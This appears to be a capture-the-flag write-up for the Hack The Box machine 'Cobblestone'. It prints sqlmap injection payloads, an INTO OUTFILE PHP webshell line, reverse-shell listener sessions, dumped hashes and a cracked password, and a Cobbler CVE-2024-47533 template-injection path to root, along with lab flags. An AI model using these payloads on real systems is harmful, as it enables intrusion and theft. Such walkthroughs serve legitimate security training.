Cobblestone is an insane-difficulty Linux machine from Hack The Box that starts with a Minecraft-themed website whose buttons hop across a handful of subdomains. Fingerprinting the template leads us to its public GitHub repository, and one of those subdomains (vote.cobblestone.htb) exposes a POST url parameter that is vulnerable to SQL injection. We’ll leverage a MySQL UNION SELECT ... INTO OUTFILE to drop a PHP webshell, catch a reverse shell as www-data, loot the database credentials from connection.php, dump the users table and crack an admin bcrypt hash to SSH in as cobble. For privilege escalation we’ll discover a Cobbler service listening only on localhost, port-forward it back to our box, and abuse CVE-2024-47533 (an unauthenticated XMLRPC login) together with a Cheetah template injection to execute code as root.
Cobblestone-info-card
Reconnaissance
1 2 3 4 5 6 7 8 9 10 11 12 13
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA) |_ 256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519) 80/tcp open http Apache httpd 2.4.62 |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Did not follow redirect to http://cobblestone.htb/ 514/tcp filtered shell Aggressive OS guesses: Actiontec MI424WR-GEN3I WAP (99%), DD-WRT v24-sp2 (Linux 2.4.37) (98%), Linux 3.2 (96%), Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012 (96%), Linux 4.4 (94%), Microsoft Windows XP SP3 (94%), BlueArc Titan 2100 NAS device (90%) No exact OS matches for host (test conditions non-ideal). Network Distance: 10 hops Service Info: Host: 127.0.0.1; OS:
We have the usual SSH on port 22 and an Apache HTTP server on port 80 that redirects us to http://cobblestone.htb/, so let’s add an entry for that domain in our /etc/hosts file and browse to it.
The website is a Minecraft server portal. Wappalyzer confirms the backend is Apache 2.4.62 .
The various buttons on the page redirect us to other web apps hosted on different subdomains — and we can actually read those subdomains off the icons of the items themselves:
cobblestone.htb
mc.cobblestone.htb
vote.cobblestone.htb
deploy.cobblestone.htb
Cobblestone-subdomains
Let’s add all of them to our /etc/hosts file. Peeking at the page source reveals the author and the exact template version being used:
1 2 3 4 5 6 7 8 9
<!-- Proudly coded by Billy (https://bybilly.uk) --> <!-- Version: 1.9.2 -->
<!DOCTYPE html> <html> <head> <!-- Info meta tags, important for social media + SEO --> <title>Cobblestone - Official Website</title>
Following the author link at https://bybilly.uk leads us to two references — the SpigotMC resource page and, more usefully, the GitHub repository for the template:
Looking at the commits, we can confirm the exact same version we spotted earlier in the HTML comment:
Cobblestone-github-version
1
1.9.2
The changelog notes for the last couple of releases give us a feel for how the template fetches player counts through an API, but nothing directly exploitable here:
New Features: - Fixed small bug in main.js when port isn't set (shouldn't affect most users) - Switched all JavaScript to ES6 syntax - Improved playercount fetching code - Updated jQuery version - Added preconnect hint to font import (will very slightly increase load speed) - Removed some redundant code from index.html (was a Discord widget for a previous client)
Worth Noting: - The API to fetch the current playercount has a cache, so querying it more often will not update the player number any faster - The API also has a rate limiter, so please do not query it too often :)
Want to update from a previous version? Both index.html and main.js have changed this time. If you are updating (from version 1.8+), the most important file to change is main.js. There is no need to update from version 1.9.1 if you do not have any issues.
Apologies for two updates so close together. If you already updated to version 1.9.1 you can skip this version.
Thanks again for using my resource :) Please leave a review if you enjoy
Billy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
RELEASE 1.9.1 - API UPDATE
Recently the API I use for this web resource went down. This means the player count for your server wouldn't load. As a lot of people rely on this resource for their Minecraft server websites (and to ensure reliability) I've implemented my own API. This means we'll never have an issue like this again :)
Want to update from a previous version? If you are updating from a previous version, the only file you need to change is "main.js" in the "js" folder.
Please consider leaving a review if you like my resource. If you have any questions or problems, don't hesitate to start a conversation with me (https://www.spigotmc.org/conversations/add).
Sponsored by PebbleHost - Premium hosting at affordable pricing [​IMG] ​
The real attack surface lives on the vote subdomain. Head over to Cobblestone - Login and register/log in. Once inside, navigate to the Strategy section and create a new entry. This form issues a POST request containing a url parameter — capture that request with Burp, save it to request.txt, and hand it off to sqlmap.
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:39:23 /2025-08-12/
[12:39:23] [INFO] parsing HTTP request from 'request.txt' [12:39:24] [INFO] testing connection to the target URL got a 302 redirect to 'http://vote.cobblestone.htb/details.php?id=40'. Do you want to follow? [Y/n] Y redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y [12:39:55] [INFO] checking if the target is protected by some kind of WAF/IPS [12:39:58] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS are you sure that you want to continue with further target testing? [Y/n]
[12:40:02] [WARNING] please consider usage of tamper scripts (option '--tamper') [12:40:02] [INFO] testing if the target URL content is stable [12:40:04] [WARNING] POST parameter 'url' does not appear to be dynamic [12:40:07] [WARNING] heuristic (basic) test shows that POST parameter 'url' might not be injectable [12:40:10] [INFO] testing for SQL injection on POST parameter 'url' [12:40:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [12:40:24] [INFO] POST parameter 'url' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [12:41:25] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[12:41:29] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [12:41:31] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [12:41:34] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [12:41:37] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [12:41:40] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [12:41:43] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [12:41:46] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [12:41:49] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [12:41:52] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [12:41:55] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [12:41:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [12:42:00] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [12:42:03] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [12:42:06] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [12:42:09] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [12:42:12] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' [12:42:15] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)' [12:42:18] [WARNING] reflective value(s) found and filtering out [12:42:21] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' [12:42:24] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' [12:42:24] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' [12:42:24] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)' [12:42:24] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)' [12:42:24] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [12:42:24] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' [12:42:24] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' [12:42:24] [INFO] testing 'Generic inline queries' [12:42:27] [INFO] testing 'MySQL inline queries' [12:42:30] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [12:42:32] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [12:42:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [12:42:38] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [12:42:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)' [12:42:44] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)' [12:42:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [12:43:05] [INFO] POST parameter 'url' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [12:43:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [12:43:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [12:43:11] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [12:43:22] [INFO] target URL appears to have 5 columns in query [12:43:56] [INFO] POST parameter 'url' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable POST parameter 'url' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests: --- Parameter: url (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: url=ss' AND 4671=4671 AND 'jRrh'='jRrh
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: url=ss' AND (SELECT 8588 FROM (SELECT(SLEEP(5)))eRAJ) AND 'Cpmg'='Cpmg
Type: UNION query Title: Generic UNION query (NULL) - 5 columns Payload: url=-8312' UNION ALL SELECT CONCAT(0x717a767871,0x6358644b6e6b57566c614f4863724f55544c55664258476d75714c65476770525575426574774a52,0x71766b6a71),NULL,NULL,NULL,NULL-- - --- [12:47:25] [INFO] the back-end DBMS is MySQL [12:47:25] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s) web server operating system: Linux Debian web application technology: Apache 2.4.62 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [12:47:28] [INFO] fingerprinting the back-end DBMS operating system [12:47:31] [INFO] the back-end DBMS operating system is Linux [12:47:31] [INFO] fetching file: '/etc/passwd' do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n]
[12:47:50] [INFO] the local file '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (1430 B) files saved to [1]: [*] /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd (same file)
[12:47:50] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'
[*] ending @ 12:47:50 /2025-08-12/
┌──(kali㉿kali)-[~] └─$ ls Desktop Downloads Pictures request.txt Videos Documents Music Public Templates ┌──(kali㉿kali)-[~] └─$ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd+ cat: /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd+: No such file or directory ┌──(kali㉿kali)-[~] └─$ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin messagebus:x:100:107::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin sshd:x:102:65534::/run/sshd:/usr/sbin/nologin cobble:x:1000:1000:cobble,,,:/home/cobble:/bin/rbash mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin _laurel:x:999:996::/var/log/laurel:/bin/false john:x:1001:1001:,,,:/home/john:/bin/bash
The url parameter is injectable through boolean-based, time-based and UNION techniques, and we can already read arbitrary files off disk. Note the interesting users: cobble (with an rbash shell) and john.
PHP Webshell via INTO OUTFILE
Reading files is nice, but since the DB user can write to disk we can go for full RCE. Because we know the UNION query needs 5 columns, we can abuse INTO OUTFILE to drop a PHP webshell straight into the vote web root. Paste this directly into the url field on the vote endpoint (or replay it through sqlmap):
1
' UNION SELECT 1,2,3,"<?php system($_GET['cmd']); ?>",5 INTO OUTFILE '/var/www/vote/shell.php'-- -
Then navigate to http://vote.cobblestone.htb/shell.php?cmd=id to confirm command execution. From there we host a reverse-shell script and pull it down to get a proper shell:
┌──(kali㉿kali)-[~] └─$ rlwrap nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.39] from (UNKNOWN) [10.10.11.81] 45582 can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $
Looting Database Credentials
We now have a foothold as www-data. The vote app keeps its DB connection details in a connection.php file — reading it gives us the voteuser credentials:
With those credentials we can authenticate directly to MySQL, enumerate the tables and dump the users table:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(kali㉿kali)-[~] └─$ rlwrap nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.39] from (UNKNOWN) [10.10.11.81] 57020 sh: 0: can't access tty; job control turned off $ mysql -u voteuser -p'thaixu6eih0Iicho]irahvoh6aigh>ie' -h 127.0.0.1 vote -e "show tables;" Tables_in_vote users votes $ mysql -u voteuser -p'thaixu6eih0Iicho]irahvoh6aigh>ie' -h 127.0.0.1 vote -e "select * from users;" id Username FirstName LastName Email Password 1 admin Admin [email protected] $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86 10 awwsd asd asd [email protected] $2y$10$Us7drUVRb9nlpdQSUIBtpe4RHg4jP3e3J.wr0Ye2KpYfhF2IehgjG 11 kujen kujen kujen [email protected] $2y$10$jqi0wX4TbI8OEdPTJv3Ep.nwLKtrSAlgq7DbSELHy3sCYwDHTfBhy
The admin user’s email is [email protected], which is a strong hint that this bcrypt hash belongs to the cobble system user. Feeding it to john cracks it:
1
crack hash : iluvdannymorethanyouknow
That gives us our credentials:
1
cobble:iluvdannymorethanyouknow
User Flag - SSH as cobble
Even though cobble has an rbash restricted shell, the password reuse lets us SSH straight in and grab the user flag:
┌──(kali㉿kali)-[~] └─$ ssh [email protected] The authenticity of host '10.10.11.81 (10.10.11.81)' can't be established. ED25519 key fingerprint is SHA256:c5Fpg/cgHQO2EmwqsW3VtYIVXXMz7nz8dwjibC8n0gw. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.81' (ED25519) to the list of known hosts. [email protected]'s password: Permission denied, please try again. [email protected]'s password: Linux cobblestone 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. cobble@cobblestone:~$ cat user.txt 28e752f70096de9d538bd77f11dbe0b9 cobble@cobblestone:~$
Privilege Escalation - Cobbler CVE-2024-47533
Now for root. Searching for services listening locally on the box turns up an application bound to 127.0.0.1. After a bit of effort you should be able to identify it as Cobbler, along with its repository on GitHub. The releases page mentions a CVE, and the linked security advisory explains that you can interact with the service via Python’s xmlrpc.client module. Consulting the Cobbler XMLRPC-API wiki lets us build a script to read the root flag — or, better yet, get a reverse shell.
The core of the vulnerability is CVE-2024-47533: calling login("", -1) returns a valid, fully-privileged token without any authentication. From there we abuse Cobbler’s Cheetah template engine — writing an autoinstall template containing an expression-only __import__('os').system(...) payload, wiring it to a profile, and rendering that profile’s autoinstall to trigger execution as root:
# Render (no token arg) print(s.generate_profile_autoinstall("pwnprof"))
Since Cobbler only listens on tcp/25151 on localhost, we first forward that port back to our own machine (e.g. ssh -L 25151:127.0.0.1:25151 [email protected]), start a listener, and then run the script. Rendering the profile autoinstall triggers the Cheetah payload as root and we catch our shell:
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~] └─$ rlwrap nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.16.39] from (UNKNOWN) [10.10.11.81] 56386 bash: cannot set terminal process group (1232): Inappropriate ioctl for device bash: no job control in this shell root@cobblestone:/# cat /root/root.txt cat /root/root.txt c670a36179fd062f8d364297ffc4a630 root@cobblestone:/#
And that’s a wrap on Cobblestone — SQL injection to a webshell, credential reuse for user, and an unauthenticated Cobbler XMLRPC template injection for root. Hope you learned something new!